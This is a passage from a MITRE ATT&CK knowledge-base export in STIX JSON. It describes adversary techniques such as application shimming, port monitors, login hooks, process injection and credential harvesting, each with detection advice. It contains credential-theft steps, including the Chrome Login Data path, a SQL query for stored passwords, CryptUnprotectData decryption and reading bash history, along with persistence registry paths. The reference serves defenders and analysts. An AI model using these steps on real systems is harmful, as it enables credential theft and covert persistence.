Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nLook for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\"\\u202E\", \"[U+202E]\", and \"%E2%80%AE”.","x_mitre_version":"1.4","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Metadata","Scheduled Job: Scheduled Job Modification","Image: Image Metadata","Command: Command Execution","File: File Metadata","Scheduled Job: Scheduled Job Metadata","Service: Service Metadata","Service: Service Creation","File: File Modification"],"x_mitre_defense_bypassed":["Application control by file name or path"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83","type":"attack-pattern","created":"2020-01-24T14:56:24.231Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1546.011","url":"https://attack.mitre.org/techniques/T1546/011"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"source_name":"FireEye Application Shimming","url":"http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf","description":"Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020."},{"url":"https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf","description":"Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.","source_name":"Black Hat 2015 App Shim"}],"modified":"2020-11-10T18:29:31.094Z","name":"Application Shimming","description":"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","Module: Module Load","File: File Modification","Command: Command Execution","Process: Process Creation"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Windows","Azure AD","Office 365","SaaS","IaaS","Linux","macOS","Google Workspace","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","type":"attack-pattern","created":"2020-02-04T12:47:23.631Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1552","url":"https://attack.mitre.org/techniques/T1552"}],"modified":"2022-04-01T13:11:11.386Z","name":"Unsecured Credentials","description":"Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\n\nMonitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments  indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior.\n\nMonitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.\n\nAdditionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Access","Process: Process Creation","User Account: User Account Authentication","Command: Command Execution","Windows Registry: Windows Registry Key Access"],"x_mitre_permissions_required":["User","Administrator","SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Stefan Kanthak","Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe","created":"2020-01-24T19:46:27.750Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1547.010","url":"https://attack.mitre.org/techniques/T1547/010"},{"source_name":"Bloxham","url":"https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf","description":"Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint slides&#93;. Retrieved November 12, 2014."},{"source_name":"AddMonitor","url":"http://msdn.microsoft.com/en-us/library/dd183341","description":"Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014."},{"source_name":"TechNet Autoruns","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the <code>AddMonitor</code> API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.","modified":"2022-04-20T16:36:31.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Port Monitors","x_mitre_detection":"Monitor process API calls to <code>AddMonitor</code>.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. \n\nMonitor Registry writes to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","Process: OS API Execution","Module: Module Load","File: File Creation"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["SYSTEM","Administrator"],"x_mitre_effective_permissions":["SYSTEM"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0","created":"2020-01-10T16:01:15.995Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"T1037.002","url":"https://attack.mitre.org/techniques/T1037/002"},{"source_name":"Login Scripts Apple Dev","url":"https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html","description":"Apple. (2016, September 13). Customizing Login and Logout. Retrieved April 1, 2022."},{"source_name":"LoginWindowScripts Apple Dev","url":"https://developer.apple.com/documentation/devicemanagement/loginwindowscripts","description":"Apple. (n.d.). LoginWindowScripts. Retrieved April 1, 2022."},{"source_name":"Wardle Persistence Chapter","url":"https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf","description":"Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022."},{"source_name":"S1 macOs Persistence","url":"https://www.sentinelone.com/blog/how-malware-persists-on-macos/","description":"Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file and can be modified using the <code>defaults</code> command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the <code>com.apple.loginwindow.plist</code> file, using the <code>LoginHook</code> or <code>LogoutHook</code> key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) ","modified":"2022-04-20T16:42:05.094Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Login Hook","x_mitre_detection":"Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","File: File Modification","File: File Creation"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":[],"x_mitre_effective_permissions":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Anastasios Pingios","Christiaan Beek, @ChristiaanBeek","Ryan Becwar"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","type":"attack-pattern","created":"2017-05-31T21:30:47.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1055","url":"https://attack.mitre.org/techniques/T1055"},{"external_id":"CAPEC-640","source_name":"capec","url":"https://capec.mitre.org/data/definitions/640.html"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"description":"Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.","source_name":"ArtOfMemoryForensics"},{"url":"https://www.gnu.org/software/acct/","description":"GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.","source_name":"GNU Acct"},{"url":"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing","description":"Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.","source_name":"RHEL auditd"},{"url":"http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html","description":"stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.","source_name":"Chokepoint preload rootkits"},{"url":"https://docs.microsoft.com/sysinternals/downloads/sysmon","description":"Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.","source_name":"Microsoft Sysmon v6 May 2017"}],"modified":"2022-03-08T20:59:21.118Z","name":"Process Injection","description":"Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, <code>QueueUserAPC</code>/<code>NtQueueApcThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017) \n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nMonitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)  (Citation: GNU Acct)  (Citation: RHEL auditd)  (Citation: Chokepoint preload rootkits) \n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution","Process: Process Access","File: File Modification","Process: Process Modification","File: File Metadata","Module: Module Load"],"x_mitre_defense_bypassed":["Application control","Anti-virus"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1139","url":"https://attack.mitre.org/techniques/T1139"},{"url":"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way","description":"Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.","source_name":"External to DA, the OS X Way"}],"modified":"2020-02-04T13:03:03.354Z","name":"Bash History","description":"Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Tony Lee","Josh Day, Gigamon"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","created":"2018-04-18T17:59:24.739Z","x_mitre_version":"2.3","external_references":[{"source_name":"mitre-attack","external_id":"T1205","url":"https://attack.mitre.org/techniques/T1205"},{"source_name":"Bleeping Computer - Ryuk WoL","url":"https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/","description":"Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021."},{"source_name":"AMD Magic Packet","url":"https://www.amd.com/system/files/TechDocs/20213.pdf","description":"AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021."},{"source_name":"Mandiant - Synful Knock","url":"https://www.mandiant.com/resources/synful-knock-acis","description":"Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."},{"source_name":"Cisco Synful Knock Evolution","url":"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices","description":"Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."},{"source_name":"Hartrell cd00r 2002","url":"https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631","description":"Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018."},{"source_name":"Cisco Blog Legacy Device Attacks","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."},{"source_name":"GitLab WakeOnLAN","url":"https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN","description":"Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet.  Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.  Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks)  To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)","modified":"2022-04-19T19:52:50.774Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Traffic Signaling","x_mitre_detection":"Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.\n\nThe Wake-on-LAN magic packet consists of 6 bytes of <code>FF</code> followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Flow"],"x_mitre_system_requirements":[],"x_mitre_defense_bypassed":["Defensive network service scanning"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ryan Benson, Exabeam","Barry Shteiman, Exabeam","Sylvain Gil, Exabeam","RedHuntLabs, @redhuntlabs"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f","type":"attack-pattern","created":"2019-06-17T19:34:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1503","url":"https://attack.mitre.org/techniques/T1503"},{"source_name":"Talos Olympic Destroyer 2018","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."},{"source_name":"Microsoft CryptUnprotectData April 2018","url":"https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata","description":"Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019."},{"source_name":"Proofpoint Vega Credential Stealer May 2018","url":"https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign","description":"Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019."},{"source_name":"FireEye HawkEye Malware July 2017","url":"https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html","description":"Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019."},{"source_name":"GitHub Mimikittenz July 2016","url":"https://github.com/putterpanda/mimikittenz","description":"Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019."}],"modified":"2020-11-17T16:03:55.549Z","name":"Credentials from Web Browsers","description":"Adversaries may acquire credentials from web browsers by reading files specific to the target browser.  (Citation: Talos Olympic Destroyer 2018) \n\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Identify web browser files that contain credentials such as Google Chrome’s Login Data database file: <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code>. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Nishan Maharjan, @loki248","Hans Christoffer Gaardløs","Praetorian","Wes Hurd"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","created":"2018-04-18T17:59:24.739Z","x_mitre_version":"3.0","external_references":[{"source_name":"mitre-attack","external_id":"T1218","url":"https://attack.mitre.org/techniques/T1218"},{"source_name":"GTFO split","url":"https://gtfobins.github.io/gtfobins/split/","description":"GTFOBins. (2020, November 13). split. Retrieved April 18, 2022."},{"source_name":"LOLBAS Project","url":"https://github.com/LOLBAS-Project/LOLBAS#criteria","description":"Oddvar Moe et al. (2022, February).  Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022."},{"source_name":"split man page","url":"https://man7.org/linux/man-pages/man1/split.1.html","description":"Torbjorn Granlund, Richard M. Stallman. (2020, March null). split(1) — Linux manual page. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.\n\nSimilarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)","modified":"2022-04-18T14:52:08.678Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"System Binary Proxy Execution","x_mitre_detection":"Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known 